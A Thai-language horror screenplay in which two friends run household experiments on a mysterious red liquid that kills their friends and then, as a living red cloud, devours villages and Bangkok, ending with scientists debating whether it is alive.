แล้วเกมก็เดินพาเวฟไปห้องนอน วางกระเป๋าไว้ในนั้นแล้วเดินออกมาจากห้องนอน เกมเดินไปที่ตู้เย็นเวฟเดินตามเกมไป เกมเปิดช่องฟรีซเอาขันออกมา เวฟกับเกมมองดูน้ำสีแดงที่อยู่ในขัน

เกม

"เฮ้ย"

น้ำสีแดงในขันยังเป็นของเหลวมีเพียงสะเก็ดน้ำแข็งเกาะเท่านั้น

เวฟ

"เกม ฉันว่าเรื่องนี้เราซวยแล้วล่ะ"

เกม

"จำที่จอห์นนี่พูดได้ไหม?"

เวฟ

"เรื่องไหน?"

เกม

"ถ้าเราเจออะไรซักอย่างที่แปลก บิดเบี้ยว หรือว่าผิดธรรมชาติแล้วเราคิดไปเองว่าเป็นผี สิ่งเหนือธรรมชาติ สัตว์ประหลาด มนุษย์ต่างดาว แล้ววิ่งหนี แล้วเราจะไขความลับของสิ่งที่อยู่ตรงหน้าได้ยังไง เราจะรู้ได้ยังไงว่าเป็นสิ่งลวงโลก กลับกัน เราจะแน่ใจได้ยังไงว่าเป็นเรื่องจริง"

เวฟ

"เอาจริงดิ"

เกม

"เอาจริง"

"จบประถมเราก็ไม่ได้เจอจอห์นนี่อีกเลย ถ้าจอห์นนี่ยังอยู่คงช่วยเราได้เยอะเลย"

เกมเอาขันใส่น้ำสีแดงไปวางไว้ที่โต๊ะ

เกม

"เอาล่ะนะ เวฟ เรามาทวนกัน"

"อั้มตายตอนเช้า พี่สาวอั้มบอกว่ามีเลือดด้วย แต่นี่ไม่ใช่เลือดอั้ม"

"อย่างที่สอง ใส่ใบไม้ลงไปแล้ว ใบไม้หาย หายไปไหน?"

"อย่างที่สาม แช่ช่องฟรีซแต่มันไม่เป็นน้ำแข็ง"

เวฟ

"อย่างหนึ่งคือเท่ากับว่าต่อให้ศูนย์องศาเซลเซียสมันก็ไม่เป็นน้ำแข็งเหมือนน้ำ จุดเยือกแข็งมันต้องติดลบร้อยขึ้นไปหรือเปล่า?"

เกม

"อันนี้ไม่แน่ใจ ใบไม้ล่ะ?"

เวฟ

"อันนี้ไม่รู้"

เกม

"เอาล่ะ ถ้ามันคือน้ำ มันก็ไม่ใช่น้ำแหละ แต่สมมุติ สมมุตินะ สมมุติว่าคือน้ำมันจะมีคุณสมบัติอะไรบ้าง?"

เวฟ

"ตัดเรื่องจุดเยือกแข็งออกไปก็ เดือดที่ร้อยองศา ผสมกับของเหลวได้หลายชนิดแต่ผสมกับน้ำมันไม่ได้มันจะแบ่งชั้น ถ้าเป็นไอจะผสมกับอากาศได้สมบูรณ์ ทำหินผุได้อันที่จริงน้ำทำหินแตกได้เลย ถ้าเป็นฝนค่าph5.2ถึง5.8 แตกตัวเป็นไอออนให้ไฮดรอเนียม......เดี๋ยวนะ นี่เราอ่านหนังสือเคมีกันเหรอ? พูดยาวมากเลยเนี่ย"

เกม

"อย่าลืมเรื่องความจุความร้อน ความหนาแน่น ความดันไอ การนำไฟฟ้า ความเป็นขั้ว พันธะไฮโดรเจน การเกาะตัว การยึดเกาะ แรงตึงผิว การเป็นตัวทำละลาย แล้วก็ การดูดกลืนคลื่นแม่เหล็กไฟฟ้าด้วย"

เวฟ

"แค่นี้ก็ต้องเปิดเฉลยข้อสอบเคมีแล้วนะ"

เกม

"เริ่มจากความจุความร้อนกันเลยไหม?"

เวฟ

"ฟังนะ เกม เราไม่มีอุปกรณ์"

เกม

"ใครว่าล่ะ เรามีพอเลยล่ะ"

เกมถือขันเข้าห้องครัว วางกระทะเปิดเตาแก๊สจุดไฟตั้งไฟอ่อนๆแล้วเทน้ำสีแดงจากขันลงกระทะ น้ำสีแดงกลายเป็นไอแดงเป็นบางส่วนในทันทีที่ลงกระทะ

เกม

"คุณพระ"

เวฟ

"เจ้าอาวาส"

เกม

"มุกแป้กว่ะเวฟ"

เกมปิดเตาไฟก่อนที่น้ำสีแดงจะกลายเป็นไอไปหมดได้ทันเหลือน้ำสีแดงเป็นหยดๆอยู่บนกระทะ

เวฟ

"จุดเดือดมันอยู่ต่ำกว่าร้อยองศา"

เกม

"อ่า"

"ไม่ใช่น้ำแน่ๆ"

เวฟ

"ถ้าเราโดนแกล้งแล้วหมันไส้ เอามันไปใส่ไว้ในเย็นตาโฟที่มันกินได้ไหม"

เกม

"ร้านก๊วยเตี๋ยวเรือได้เจ๊งทั้งกรุงเทพพอดี"

เวฟ

"โทษที พอดีคนนครหลวง"

เกม

"น้ำหนึ่งลูกบาศก์เซ็นมีความหนาแน่นเท่าไหร่"

เวฟ

"หนึ่งกรัม"

เกม

"ถูกต้อง"

เกมเดินไปเอากล่องทำน้ำแข็งสี่เหลี่ยมในตู้เย็นออกมา

เวฟ

"อันนี้ไม่น่าจะแค่หนึ่งลูกบาศก์เซ็นนะ"

เกม

"แล็ปโดนปิดก็งี้แหละ เอาตังค์ไปลงกับอะไรหมดก็ไม่รู้"

เกมเทน้ำสีแดงที่เหลืออยู่บนกระทะลงบนกล่องทำน้ำแข็งแล้วเอาตาชั่งมาชั่งกล่องทำน้ำแข็ง

เกม

"สี่กรัมลบด้วยสองกรัมเท่ากับไหร่"

เวฟ

"สอง ว่าไงนะ?"

เกม

"ใช่ สองกรัม"

เวฟ

"มันไม่ถึงหนึ่งลูกบาศก์เซ็นเลยด้วยซ้ำนะ"

เกม

"ไม่ใช่น้ำชัดเจน"

เกมเดินไปหยิบขวดแอลกอฮอล์แล้วเดินมาเทแอลกอฮอล์ลงไปในน้ำสีแดงที่อยู่ในกล่องทำน้ำแข็ง แอลกอฮอล์จมลงไปข้างล่างส่วนน้ำสีแดงลอยขึ้นเหนือพื้นผิวแอลกอฮอล์

เวฟ

"มันแบ่งชั้นกัน"

เกม

"มันผสมกับแอลกอฮอล์ไม่ได้"

เวฟ

"แอลกอฮอล์ล้างแผลใช่เอทานอลไหม?"

เกม

"อ่า เมทานอลใช้ไม่ได้"

เกมเทเฉพาะน้ำสีแดงออกจากกล่องลงไปในขันปล่อยให้แอลกอฮอล์อยู่แค่ในกล่องทำน้ำแข็ง จากนั้นเกมเดินไปเอาถ่านไฟฟ้าสองก้อนและสายไฟมา

เกม

"ยังจำวิธีทำวงจรไฟฟ้าอย่างง่ายตอนป.2ได้ไหม?"

เวฟ

"จำได้"

จากนั้นเวฟใช้ถ่านไฟฟ้ากับสายไฟต่อเป็นวงจรไฟฟ้าแล้วใช้ส่วนปลายของสายไฟจุ่มลงไปในน้ำสีแดงแล้วเกมก็เดินไปเอาไขควงวัดไฟมาแตะน้ำสีแดงไขควงวัดไฟตรวจจับไฟฟ้าได้ แล้วน้ำสีแดงก็ค่อยๆระเหยเป็นไอสีแดงทีละน้อย เกมเอาสายไฟออกจากน้ำสีแดงแยกถ่านไฟฟ้ากับสายไฟออกจากกัน

เวฟ

"เห็นแบบนี้แล้วนึกถึงฉากจานเลือดในthe thingเลยว่ะ"

เกม

"เหมือนกัน"

เวฟ

"มันอิเล็กโทรไลต์ได้ใช่ไหม?"

เกม

"ไม่ใช่หรอก ไอที่เห็นไม่ใช่ออกซิเจนกับไฮโดรเจน เหมือนไอน้ำมากกว่า เหมือนมันจะโดนไฟช็อตได้ด้วย"

เวฟ

"นำไฟฟ้า?"

เกม

"น่าจะใช่"

เวฟ

"มีอยู่แค่นี้แล้วมันมาจากไหน?"

เกม

"ไม่ใช่จากศพอั้มแน่"

เวฟ

"อย่างน้อยก็มีพันธะไฮโดรเจน"

เกม

"สมมุติว่ามันเป็นขั้วเหมือนน้ำ"

เวฟ

"มันจะเกาะบนกระจก"

เวฟเดินไปเอาแผ่นกระจกมาวางบนโต๊ะ แล้วเวฟก็เทน้ำสีแดงจากขันลงบนกระจก น้ำสีแดงก่อตัวเป็นชั้นบางๆบนแผ่นกระจก

เวฟ

"มันยึดเกาะบนกระจกได้"

เวฟหยิบน้ำตาลเหยาะลงบนน้ำสีแดงในจำนวนที่น้อย น้ำตาลที่อยู่ในน้ำสีแดงไม่ละลาย เวฟหยิบเกลือเหยาะลงบนน้ำสีแดง เกลือไม่ละลายในน้ำสีแดงเช่นกัน เกมเทน้ำสีแดงบนกระจกใส่ลงในขันจากนั้นเทน้ำพืชปริมาณน้อยลงไปในขัน น้ำมันจมลงไปด้านล่าง น้ำสีแดงลอยขึ้นด้านบน เกมเดินไปหยิบกระดาษลิตมัสสีแดงกับสีน้ำเงินจุ่มลงไปในน้ำสีแดง กระดาษลิตมัสทั้งสองสีไม่เปลี่ยนสี จากนั้นเกมไปหยิบชามเซรามิกมาเทเฉพาะน้ำสีแดงออกมาจากขันลงไปในชามเซรามิกปล่อยให้น้ำมันพืชอยู่ในขันแล้วเกมก็เอาชามเซรามิกเข้าเตาไมโครเวฟตั้งเวลาไว้ที่สามสิบวินาที เกมกับเวฟดูอยู่หน้าเตาไมโครเวฟ น้ำสีแดงไม่ระเหยเป็นไอเลยตลอดสามสิบวินาทีที่อยู่ในเตาไมโครเวฟ

เกม

"ไมโครเวฟทำให้ร้อนเพราะ....."

เวฟ

"ทำให้โมเลกุลชนกัน"

เกม

"ไมโครเวฟทำให้น้ำร้อนได้เพราะ...."

เวฟ

"น้ำดูดซับไมโครเวฟ"

เกม/เวฟ

"มันไม่ดูดซับไมโครเวฟ"

เกม

"เอาล่ะ เหลืออย่างสุดท้ายที่จะลอง"

เกมเดินออกไปเอาเศษหินอ่อนขนาดเล็กๆเข้ามาหยิบชามเซรามิกออกมาจากเตาแล้วใส่เศษหินอ่อนลงไปในน้ำสีแดง

เกม

"น้ำทำหินแตกได้ใช่ไหม"

เวฟ

"อ่า"

เกม

"เราจะมาดูวันพรุ่งนี้ เหลืออีกห้านาทีก็เที่ยงแล้ว เราไปกินข้าวกันเถอะ"

เกมเอาชามเซรามิกวางไว้บนโต๊ะในห้องครัว

[Dissolve]

เวลากลางคืน เกมปิดไฟในห้องนั่งเล่น เดินเข้ามาปิดไฟในห้องครัว จากนั้นเกมกับเวฟก็แยกย้ายเข้าห้องนอนของตัวเอง

ในห้องครัว

มีจิ้งจกตัวหนึ่งตกลงไปในชามเซรามิกที่ใส่น้ำสีแดงไว้

[Dissolve]

ในห้องนอนของเกม เกมตื่นขึ้นมาเปิดประตูห้องนอนเดินเข้าห้องนั่งเล่นเห็นเวฟกินข้าวเหนียวหมูปิ้งอยู่

เกม

"ออกไปซื้อข้าวเหนียวหมูปิ้งข้างนอกมาเหรอ?"

เวฟ

"อืม เสียดายไม่มีปาท่องโก๋กับขนมครกเลย"

เกมเดินเข้าไปในห้องครัว เดินผ่านชามเซรามิกที่ใส่น้ำสีแดงไว้ในขณะที่กำลังจะเดินไปเกมก็หยุดชะงักเพราะสังเกตุเห็นสิ่งที่อยู่ในชาม มีหัวจิ้งจกขาดลำตัวของจิ้งจกหายไปและก้อนหินอ่อนนั้นก็เหลือขนาดแค่เม็ดทรายพร้อมด้วยน้ำสีแดงที่มีปริมาณเพิ่มขึ้นจนเต็มก้นชาม

เกม

"ตายโหงแล้ว"

เกมออกจากห้องครัวแล้วกลับมาในห้องครัวพร้อมกับเวฟ

เวฟ

"มันทำหินแตกได้"

เกม

"ไม่เหมือนหินแตก เหมือนมันย่อยสลายหินกับจิ้งจกมากกว่า"

จากนั้นหัวจิ้งจกก็หายเข้าไปในน้ำสีแดงแล้วน้ำสีแดงก็มีปริมาณเพิ่มขึ้นอีก

เกม

"ได้เวลาสรุปผลการทดลองแล้ว มันไม่แช่แข็งในอุณหภูมิช่องฟรีซ ระเหยไวกว่าน้ำ แสดงว่าจุดเดือดต่ำกว่าร้อย ถึงจะมีไม่ถึงหนึ่งลูกบาศก์เซ็นแต่มีมวลสองกรัม เท่ากับมันหนาแน่นกว่าน้ำ ใช้เป็นตัวทำละลายไม่ได้ ไม่ผสมกับน้ำมัน นำไฟฟ้า มีพันธะไฮโดรเจน มีขั้ว ไม่ดูดซับไมโครเวฟ เป็นกลาง"

เวฟ

"ลืมเรื่องแรงตึงผิวไปเรื่องนึง"

เวฟไปเอาคลิปหนีบกระดาษแล้วกลับมาหย่อนคลิปหนีบกระดาษลงไปในน้ำสีแดง คลิปหนีบกระดาษจมลงไปไม่ได้ลอยบนน้ำสีแดง

เวฟ

"มันไม่มีแรงตึงผิว แล้วน้ำสีแดงมันเพิ่มขึ้นมาเองได้ยังไง?"

เกม

"หินปูนเอาไปเผาได้แคลเซียมออกไซด์ แคลเซียมออกไซด์ผสมน้ำได้แคลเซียมไฮดรอกไซด์"

เวฟ

"หินใช้ทำเป็นน้ำสีแดงได้เหรอ?"

เกม

"อืม มันทำปฏิกิริยากับหินปูนทำให้ตัวมันเองเพิ่มขึ้น หินอ่อนก็เป็นหินแปรจากหินปูน"

"เอาล่ะ น้ำสีแดงมีคุณสมบัติอะไรบ้างที่ตรงกับน้ำ"

เวฟ

"แบ่งชั้นกับน้ำมัน นำไฟฟ้า มีพันธะไฮโดรเจน มีขั้ว"

เกม

"คุณสมบัติอะไรบ้างที่ไม่ตรงกับน้ำ"

เวฟ

"จุดเดือดต่ำกว่าร้อยองศา ไม่เยือกแข็ง หรือไม่ก็จุดเยือกแข็งติดลบหลายร้อย หนาแน่นกว่าน้ำ ไม่ผสมกับอย่างอื่น ไม่เป็นตัวทำละลาย ไม่ดูดซับไมโครเวฟ เป็นกลาง ไม่มีแรงตึงผิว"

เกม

"มีอีกอย่าง มันทำปฏิกิริยากับหินกับสิ่งมีชีวิต ได้ตัวมันเอง ทำให้มันเพิ่มขึ้น มีอะไรมีคุณสมบัติตามนี้บ้าง?"

เวฟ

"มันไม่ผสมกับน้ำมันเหมือนกับน้ำแถมมีขั้วมีพันธะไฮโดรเจนแล้วก็นำไฟฟ้าเหมือนน้ำ แต่มันผสมกับเมทานอลไม่ได้ไม่เป็นน้ำแข็งจุดเดือดต่ำกว่าร้อย ไม่ดูดซับคลื่นไมโครเวฟ มันไม่ใช่น้ำ ไม่ผสมกับน้ำมัน ไม่ติดไฟ ไม่ร้อนเพราะไมโครเวฟ มันก็ไม่ใช่น้ำมันอีก"

เกม

"และมันไม่ใช่กรดหรือด่าง มันไม่ใช่เบส มีอะไรทำปฏิกิริยากับหินปูนบ้าง?"

เวฟ

"กรดกับน้ำ"

เกม

"น้ำที่อิ่มตัวด้วยคาร์บอนไดออกไซด์"

เวฟ

"สลายเหรอ? สลายจิ้งจกกับหินปูนเหรอ?"

เกม

"มันเป็นตัวทำละลายไม่ได้ มันอิ่มตัวด้วยคาร์บอนไดออกไซด์ไม่ได้มันน่าจะทำปฏิกิริยากับหินไม่ได้"

เวฟ

"แล้วเกิดอะไรขึ้นกับหิน?"

เกม

"ไม่รู้สิ อย่างที่บอกว่ามันเหมือนย่อยสลายหินได้มากกว่าทำให้หินแตก นอกจากน้ำแล้วอะไรทำปฏิกิริยากับอะไรอีกนะ?"

เวฟ

"กรดกับความร้อนทำให้ปล่อยแก๊สคาร์บอนไดออกไซด์"

เกม

"ตอนใส่หินลงไป หินไม่ได้ปล่อยแก๊สคาร์บอนไดออกไซด์ กระดาษลิตมัสก็ไม่เปลี่ยนสี มันไม่ใช่กรดแล้วก็มันไม่ได้ร้อนด้วย"

เวฟ

"คุณสมบัติมันไม่ได้ตรงกับอะไรเลย"

เกม

"ใช่ มันไม่ได้ตรงกับอะไรเลย"

เวฟ

"มาจากอวกาศหรือเปล่า?"

เกม

"ไม่มีดาวตกลูกไหนตกใส่ไทย แค่มองเห็นได้เท่านั้น อยากรู้จัง อั้มตายเพราะอะไร?"

เสียงโทรศัพท์ของเกมดังขึ้น เกมรับโทรศัพท์

เกม

"ครับ"

"ครับ ขอบคุณมากครับ"

เกมกดวางสายโทรศัพท์

เกม

"พี่สาวอั้มโทรมาบอกว่า ตำรวจชันสูตรว่าอั้มตายเพราะสารเคมีอันตรายในปอด ไม่ใช่สารเคมีหรอก น้ำสีแดงนี่แหละที่ฆ่าอั้ม"

เวฟ

"เกม ถ้ามันฆ่าอั้มจริง เราต้องกำจัดมันทิ้งนะ"

เกม

"จัดให้ ก่อนอื่นขอไปกินข้าวก่อนนะ มีอะไรให้กินบ้างไหมเนี่ย?"

เวฟ

"ข้าวขาหมูสองกล่อง"

ฉากภายนอก: นอกบ้านของเกม ตอนสาย

เกมกับเวฟเดินออกมานอกบ้านในมือเกมถือชามเซรามิกกับขวดน้ำมันเบนซินกับถังโลหะขนาดเล็กหนึ่ง ส่วนเวฟถือไฟแช็คกับกระดาษหนังสือพิมพ์ไว้ในมือ เกมตั้งถังโลหะไว้บนพื้นดิน เทน้ำมันเบนซินจากขวดลงถังแล้วเทน้ำสีแดงจากชามเซรามิกลงไป เวฟฉีกกระดาษหนังสือพิมพ์จุดไฟแล้วหย่อนลงไปในถัง เมื่อไฟในถังลุกก็มีไอสีแดงพวยพุ่งออกมาจากภายในถัง แล้วไอสีแดงก็รวมตัวกันกลางอากาศจนดูเหมือนปุยเมฆขนาดเล็กสีแดง

เวฟ

"เฮ้ย เกม"

เกม

"อะไรเนี่ย?"

ปุยเมฆขนาดเล็กสีแดงลอยไปกลางอากาศในแนวนอน

เวฟ

"เฮ้ย เกม มันลอยไปบ้านอั้ม"

เกม

"ตายล่ะ รีบไปบ้านอั้มเถอะ"

ฉากภายนอก: นอกบ้านของอั้ม ตอนสาย

เกมกับเวฟวิ่งไปถึงบ้านอั้ม เห็นศพของพี่สาวของอั้มหัวของพี่สาวอั้มหายไปเหลือแต่ลำตัวและมีน้ำสีแดงเกาะอยู่ที่คอของศพ น้ำสีแดงกระจายจากคอของศพไหลเข้าไปในเสื้อของศพ น้ำสีแดงไหลบนแขนทั้งสองข้างไปจนถึงมือของศพ จากนั้นน้ำสีแดงก็ไหลมาถึงเท้าของศพ แล้วน้ำสีแดงก็ไหลจากศพเข้ามาหาเกมกับเวฟที่ยืนอยู่ต่อหน้า เกมกับเวฟเดินถอยหลังหนีไปเรื่อยๆ

เกม

"นี่แหละที่อั้มตาย"

เวฟ

"ว่ามันแปลกๆไหมวะเกม?"

เกม

"เออ แปลก"

เวฟ

"เอาไงดีวะ เกม?"

เกม

"ไม่รู้สิ เหมือนมันเพิ่มขึ้นด้วย"

เวฟ

"ตำรวจเขารู้เรื่องน้ำสีแดงไหม?"

เกม

"ไม่ พวกเขารู้แค่ว่ามีปฏิกิริยาเคมีแต่พวกเขาระบุสารไม่ได้"

เวฟฉีกกระดาษหนังสือพิมพ์จุดไฟแล้วเอากระดาษหนังสือพิมพ์ติดไฟจ่อไปที่น้ำสีแดง น้ำสีแดงกลายเป็นไอสีแดง เวฟใช้กระดาษหนังสือพิมพ์ติดไฟจ่อน้ำสีแดงไปเรื่อยๆจนกลายเป็นไอสีแดงทั้งหมด แล้วไอสีแดงทั้งหมดก็รวมตัวกันกลางอากาศจนมีลักษณะเหมือนปุยเมฆอีกครั้งแล้วมันก็ลอยขึ้นไปบนท้องฟ้าจนหายลับไปจากสายตา

ฉากภายใน: ห้องนั่งเล่น บ้านของเกม

เกมกำลังคุยโทรศัพท์

เกม

"ที่บ้านฝนตกไหม?"

เวฟ(เสียงในโทรศัพท์)

"ไม่"

เกม

"มีน้ำสีแดงหรือว่าควันสีแดงนั่นไหม?"

เวฟ(เสียงในโทรศัพท์)

"ไม่มี ไม่รู้ว่ามันจะลอยออกนอกโลกได้หรือเปล่า สยองมากเลย"

เกม

"เอาเป็นว่าไม่มีควันสีแดงก็พอแล้ว กี่โมงแล้วเนี่ย?"

เวฟ(เสียงในโทรศัพท์)

"สามทุ่ม"

เกม

"งั้นแค่นี้ก่อนนะ"

เกมวางโทรศัพท์

ฉากภายใน: ห้องนอนของผู้หญิงชื่อน้ำผึ้ง

น้ำผึ้งนอนอยู่ในห้องนอนที่ปิดไฟและหน้าต่างถูกเปิดไว้ ปุยเมฆสีแดงขนาดเล็กลอยเข้ามาในห้องนอนจากทางหน้าต่างแล้วเกาะตรงลำตัวของน้ำผึ้งจากนั้นปุยเมฆสีแดงก็กลายเป็นน้ำสีแดง น้ำผึ้งรู้สึกตัวแล้วกรีดร้องลุกออกจากที่นอนหยิบโทรศัพท์ขึ้นมาโทรออก

ฉากต่อเนื่อง

เกมมาถึงหน้าบ้านของน้ำผึ้งในเวลาเช้า

เสียงโทรศัพท์ของเกมดังขึ้น เกมหยิบโทรศัพท์ขึ้นมารับ

เกม

"ฮัลโหล ตอนนี้อยู่บ้านน้ำผึ้ง น้ำผึ้งโทรมาหาเหมือนกัน"

เกมวางสายโทรศัพท์ 

เกมเดินเข้าไปในบ้านเดินในห้องนั่งเล่นที่มีโต๊ะแล้วแก้วใสวางอยู่บนโต๊ะนั้นแล้วเดินไปจนถึงห้องนอนของน้ำผึ้งเกมเปิดประตูห้องนอนของน้ำผึ้ง เห็นเพียงผมของน้ำผึ้งบนที่นอนและน้ำสีแดงบนพื้นห้อง

เกม

"ตายโหงแล้ว"

เกมเหลือบเห็นหน้าต่างห้องนอนที่เปิดทิ้งไว้แล้วเกมก็เดินไปเข้าห้องครัวก็เห็นน้ำสีแดงเกาะอยู่ที่เตา เกมหยิบปืนยิงไฟจุดเตาแก๊สแล้วน้ำสีแดงก็ระเหยเป็นไอสีแดงแล้วไอสีแดงก็ลอยออกนอกห้องครัว เกมรื้อของในห้องครัวจนเจอหนังสือพิมพ์หนึ่งปึก เกมหยิบหนังสือพิมพ์เท่าที่จะถือไว้ได้แล้ววิ่งออกนอกห้องครัวเห็นปุยเมฆสีแดงขนาดเล็กลอยอยู่กลางอากาศ เกมฉีกหนังสือพิมพ์จุดไฟแล้วใช้หนังสือพิมพ์จุดไฟทิ่มเข้าปุยเมฆสีแดงจนมันสลายไป แล้วเกมก็วิ่งเข้าไปในห้องนอนของน้ำผึ้งอีกครั้ง แต่ผมของน้ำผึ้งและน้ำสีแดงหายไปทั้งหมดแล้ว เกมหันหลังเดินออกจากห้องนอนเข้าไปในห้องนั่งเล่น เห็นน้ำสีแดงอยู่ในแก้วใสที่วางอยู่บนโต๊ะ แล้วน้ำสีแดงก็เพิ่มปริมาตรขึ้นจากก้นแก้วจนเต็มแก้ว

เกม

"เข้าใจแล้ว มันไม่ได้เพิ่มขึ้น มันเติบโตขึ้น"

ฉากภายนอก: นอกบ้านของเวฟ เวลาเช้า

โทรศัพท์เวฟดังขึ้น เวฟรับโทรศัพท์

เวฟ

"กำลังไปบ้านน้ำผึ้งพอดีเลย เกม พอดีพึ่งอาบน้ำเสร็จ"

เกม(เสียงในโทรศัพท์)

"ไม่ทันแล้วเวฟ ไม่ต้องมาบ้านน้ำผึ้งแล้ว ฉันน่ากำลังจะตายแล้ว น้ำผึ้งก็ตายแล้วเหมือนพี่สาวอั้มเลย น้ำสีแดงฆ่าอั้มจริงๆ แล้วรีบหนีไปให้ไกลจากที่นี่ ไม่ต้องมาช่วยทัน ฉันกำลังจะตายแล้ว รู้แล้วว่าน้ำสีแดงมันคืออะไร มันไม่ใช่สารเคมี ไม่ใช่สาร ไม่ใช่สสาร มันคือสิ่ง..."

โทรศัพท์ถูกตัดสายไป

เวฟ

"เกม! เกม!"

ฉากภายใน: ภายในบ้านของน้ำผึ้ง

เวฟเดินเข้ามาถึงในห้องนั่งเล่น เห็นเพียงเสื้อผ้าของเกมอยู่บนพื้นโล่งๆและไม่ได้เปื้อนอะไร โทรศัพท์ของเกมอยู่ข้างเสื้อผ้าของเกม เวฟเดินเข้าไปในห้องครัวไม่พบน้ำสีแดงเดินเข้าไปในห้องนอนไม่พบน้ำสีแดงเช่นกัน เวฟเดินเข้าไปในห้องน้ำเดินไปจนถึงโถส้วม น้ำสีแดงไหลมาจากทางด้านหลังเวฟแล้วไหลไปโดนเท้าของเวฟ เวฟสะดุดล้มลง น้ำสีแดงเริ่มมีเพิ่มมากขึ้นเวฟดิ้นทุรนทุรายลุกขึ้นวิ่งหนีจากน้ำสีแดง มีน้ำสีแดงหยดลงบนหัวของเวฟ ผมของเวฟเริ่มร่วงลงบนพื้น แล้วน้ำสีแดงก็เพิ่มมากขึ้นจนเต็มตัวเวฟแล้วเวฟก็ล้มลง

ฉากภายนอก: ภายนอกบ้านของน้ำผึ้ง ตอนเช้า

ตรงหน้าต่างห้องนอนของน้ำผึ้งมีไอสีแดงลอยออกมาขึ้นไปบนท้องฟ้าแล้วหายลับไป

 

ฉากภายนอก: หมู่บ้านบนภูเขา ตอนบ่าย

ฝนห่าใหญ่ได้ตกลงมาในเขตที่อยู่อาศัยของชนเผ่าปกาเกอะญอ หลังฝนหยุดตกเมฆฝนเหล่านั้นก็ลอยผ่านไปที่อื่น ทว่า ได้มี"เมฆสีแดง"กลุ่มใหญ่ลอยผ่านมา....

ฝนสีแดงได้ตกลงมาจากเมฆสีแดงกลุ่มนั้น น้ำสีแดงที่ตกลงบนพื้นมันค่อยคืบคลานเข้ารวมตัวกันกับหยดน้ำกลายเป็นผืนน้ำสีแดงขนาดใหญ่ค่อยๆคืบคลานเข้าไปดูดกลืนวัตถุสิ่งของผู้คนและสัตว์ในหมู่บ้านแห่งนั้น

ได้ยินเสียงหมาและแมวที่ส่งเสียงออกมาอย่างดัง

ชาวบ้านตัวประกอบ1

"ว๊าย!!!!" 

ชาวบ้านตัวประกอบ2

"ช่วยด้วย!!!!" 

ชาวบ้านตัวประกอบ3

"อ๊าก!!!!" เมื่อหมู่บ้านถูกดูดกลืนจนหมดสิ้นน้ำสีแดงก็ระเหยตัวเองกลายเป็นไอสีแดงขึ้นไปบนฟ้ารวมตัวกับเมฆสีแดงตามเดิม แล้วลอยหายไปจากท้องฟ้า

ฉากภายนอก: หมู่บ้านแห่งหนึ่งในจังหวัดอ่างทอง  กลางคืน

ได้มีฝนตกในตอนนั้น....

และเมื่อฝนหยุดตก เมฆสีแดงได้โจมตีที่นั่น มันดูดกลืนทุกอย่างในนั้นจนหมดสิ้นทั้งหมู่บ้าน

 ฉากภายใน:  บ้านของอัศวิน และ อลินดา

อัศวิน

"อลินดา เราไปเที่ยวอควาเรี่ยมกันมั๊ย"

อลินดา

"หนูไม่ใช่แฟนพี่นะ....."

อัศวิน

"เอ่อ....เดี๋ยวนะ..." 

Continuous

ณ อควาเรียมในจังหวัดชลบุรี

อัศวินและอลินดาเดินผ่านอ่างดาวทะเลไป...  

น้ำในอ่างดาวทะเลกลายเป็นน้ำสีแดง 

เมื่อทั้งคู่เดินเข้าไปในอควาเรียมทุกคนในที่นั่นต่างก็แตกตื่นวิ่งหนีกันกระจัดกระจาย

อลินดา

"เขาหนีอะไรกันน่ะ" อัศวินเห็นดังนั้นจึงวิ่งไปข้างนอกกับอลินดาและภาพที่อยู่ต่อหน้าทั้งสองคนนั้นคือ ผืนน้ำสีแดงขนาดใหญ่กำลังดูดกลืนสิ่งก่อสร้างและผู้คนจำนวนหนึ่งถนนซีเมนต์,ตึกที่ก่อด้วยปูน,รูปปั้นคอนกรีต อัศวินและอลินดาตกใจกลัวเป็นอันมากจึงพากันไปหนีไปที่อื่นจนรอดพ้นผืนน้ำสีแดงมาได้

ฉากภายนอก: กรุงเทพ กลางวัน

 เมฆสีแดงลอยอยู่เหนือจังหวัดกรุงเทพและฝนสีแดงก็ตกที่นั่นแล้วเข้ากลืนกินทุกสิ่งในนั้นเหล่าผู้คนและสัตว์แตกตื่นป็นอันมาก ถุงลอยปลิวว่อนไปทั่วฟ้า รถคว่ำชนกันเอง ผู้คนเหยียบกันตายบนผืนน้ำสีแดงที่หลั่งไหลอยู่บนพื้นผิวโลก ของใช้ของกินทุกสิ่งอยู่บนถนนสิ้น ตึกรามบ้านช่องสิ่งมีชีวิตนั้นถูกดูดกลืนไปเสียสิ้น ที่คลังแสงกองทัพอากาศประเทศไทย น้ำสีแดงได้กลืนเครื่องบินรบGrippenไปลำหนึ่ง แต่เครื่องบินลำนั้นเกิดระเบิดขึ้นน้ำสีแดงที่คลังแสงของกองทัพอากาศจึงระเหยกลายเป็นไอสีแดงขึ้นไปบนฟ้า ขณะเดียวกัน จากการโจมตีของน้ำสีแดงทำให้ปั๊มน้ำมันทุกแห่งเกิดระเบิดขึ้นทั่วทั้งกรุงเทพ น้ำสีแดงจึงระเหยกลายเป็นไอสีแดงรวมตัวกับเมฆสีแดงบนฟ้าแล้วลอยหายไป

นักข่าวในTV

"ครับ ตอนนี้เราอยู่ที่อนุสาวรีย์ชัยนะครับ เมฆและฝนสีแดงได้โจมตีที่นี่ อย่างที่เห็นนะครับข้างหลังผมท่านผู้ชมจะเห็นว่า อนุสาวรีย์ชัยได้หายไปแล้วนะครับ และบนพื้นจะพบกกับซากสิ่งมีชีวิตที่เสียชีวิตจากการโจมตีของน้ำสีแดง ตอนนี้พบยอดผู้เสียชีวิต3,058ราย และผู้บาดเจ็บ180,000ราย..........  .........."

ฉากภายใน: ที่ประชุมนักวิทยาศาสตร์

นักวิทยาศาสตร์ชาวเยอรมัน

"เรื่องเมฆฝนสีแดงนั่น เป็นปรากฏการณ์ลึกลับทางธรรมชาติแบบหนึ่งที่วิทยาศาสตร์ยังไม่อาจอธิบายได้ ถ้าเราไขความลับเรื่องเมฆฝนสีแดงนี้ได้ก็จะไขปริศนาทางธรรมชาติที่ยังอธิบายไม่ได้ด้วยวิทยาศาตร์บนโลกนี้ได้"

นักวิทยาศาสตร์ชาวญี่ปุ่น

"เมฆฝนสีแดงนั่น....อาจเป็นปรากฏการณ์ใหม่ที่เกิดขึ้นบนโลก"

จอห์นนี่

"โทษนะครับ ผมไม่เห็นด้วย มันไม่ใช่ปรากฏการณ์ทางธรรมชาติหรือเป็นเพราะสภาพอากาศแปรปรวนหรอกนะครับ ถ้าดูจากการกระทำของเมฆฝนสีแดงเราสามารถสรุปได้ทันทีว่ามันเป็น สิ่งมีชีวิต ครับ" 

นักวิทยาศาสตร์ชาวอเมริกัน

"เอ่อ ขอโทษนะครับ แต่....คุณมีหลักฐานอะไรครับ?" 

